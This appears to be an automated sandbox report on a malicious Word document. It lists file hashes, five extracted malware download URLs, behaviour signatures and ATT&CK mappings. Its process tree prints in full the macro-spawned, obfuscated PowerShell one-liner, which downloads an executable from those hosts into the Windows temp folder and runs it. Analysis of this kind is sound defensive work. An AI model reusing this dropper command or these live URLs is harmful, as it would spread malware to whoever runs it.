f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d

General

Target

f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d.doc
Size

265KB
MD5

f2a6dfb27d22a0572980c21aa3f0aa72
SHA1

793068de3ede317810a04033897061cfb0cd9523
SHA256

f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d
SHA512

671c7cea847396a3ebe8dec53aa1286971857dfa3735a6509015c0b4e606e7f1c6bbade9b0833276790da5244f2cf42be76c1601ced95d1e301e70b6603e0952

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://rift.mx/1q6yfowWdTLO_y6PDvDqM1

exe.dropper

http://ylgcelik.site/images/assets/gqozUJEiIYeC_dnZTDQX

exe.dropper

http://aviontravelgroup.com/MyxIIPxzR57RBIQ_BMNwuCa3q

exe.dropper

http://ecohoney.com.ua/QIBhgUzx_M2znhUL

exe.dropper

http://wa-producoes.com.br/4m5Lb0xKdUs9N49_eln5oEXK

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2064	1108	powershell.exe	78

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1108	WINWORD.EXE
1108	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2064	powershell.exe
2064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2064	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1108	WINWORD.EXE
1108	WINWORD.EXE
1108	WINWORD.EXE
1108	WINWORD.EXE
1108	WINWORD.EXE
1108	WINWORD.EXE
1108	WINWORD.EXE
1108	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 2064	1108	WINWORD.EXE	83
PID 1108 wrote to memory of 2064	1108	WINWORD.EXE	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $q1F5S = '$A9Kjx2 = new-obj48264.519652667ect -com48264.519652667obj48264.519652667ect wsc48264.519652667ript.she48264.519652667ll;$NSbBRaG = new-object sys48264.519652667tem.net.web48264.519652667client;$agFxes = new-object random;$OeVIS = \"48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://rift.mx/1q6yfowWdTLO_y6PDvDqM1,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://ylgcelik.site/images/assets/gqozUJEiIYeC_dnZTDQX,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://aviontravelgroup.com/MyxIIPxzR57RBIQ_BMNwuCa3q,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://ecohoney.com.ua/QIBhgUzx_M2znhUL,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://wa-producoes.com.br/4m5Lb0xKdUs9N49_eln5oEXK\".spl48264.519652667it(\",\");$GO0Hlgik3 = $agFxes.nex48264.519652667t(1, 65536);$Z5Xf8 = \"c:\win48264.519652667dows\temp\put48264.519652667ty.exe\";for48264.519652667each($aoIptKW in $OeVIS){try{$NSbBRaG.dow48264.519652667nlo48264.519652667adf48264.519652667ile($aoIptKW.ToS48264.519652667tring(), $Z5Xf8);sta48264.519652667rt-pro48264.519652667cess $Z5Xf8;break;}catch{}}'.replace('48264.519652667', $dmFbI5);$E8hLpzE = '';iex($q1F5S);
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1108-143-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-130-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-133-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-131-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-146-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-135-0x00007FFABCEA0000-0x00007FFABCEB0000-memory.dmp

Filesize
64KB

Download
memory/1108-132-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-136-0x00007FFABCEA0000-0x00007FFABCEB0000-memory.dmp

Filesize
64KB

Download
memory/1108-134-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-139-0x00000231EFFB0000-0x00000231EFFB4000-memory.dmp

Filesize
16KB

Download
memory/1108-145-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/1108-144-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

Filesize
64KB

Download
memory/2064-138-0x000001D26E1A0000-0x000001D26E1C2000-memory.dmp

Filesize
136KB

Download
memory/2064-141-0x00007FFAD3AE0000-0x00007FFAD45A1000-memory.dmp

Filesize
10.8MB

Download
memory/2064-140-0x00007FFAD3AE0000-0x00007FFAD45A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads